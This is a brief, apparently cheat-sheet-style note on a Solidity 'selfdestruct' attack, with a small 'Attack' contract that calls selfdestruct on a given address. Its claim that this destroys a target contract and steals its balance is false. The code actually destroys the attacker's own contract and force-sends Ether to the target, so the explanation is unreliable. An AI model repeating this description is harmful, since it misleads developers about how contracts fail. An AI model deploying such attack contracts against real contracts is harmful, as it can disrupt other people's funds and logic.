Solidity Self Destruct Attack

Last modified: 2023-09-30

Blockchain Ethereum

Solidity’s ‘selfdestruct’ function may be used to destruct a target contract and steal the balance by an attacker.

Create a Malicious Contract for Destructing Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;

contract Attack {
    function attack(address _address) payable public {
        // the remaining Ether sent to _address when destructing
        selfdestruct(_address);
    }
}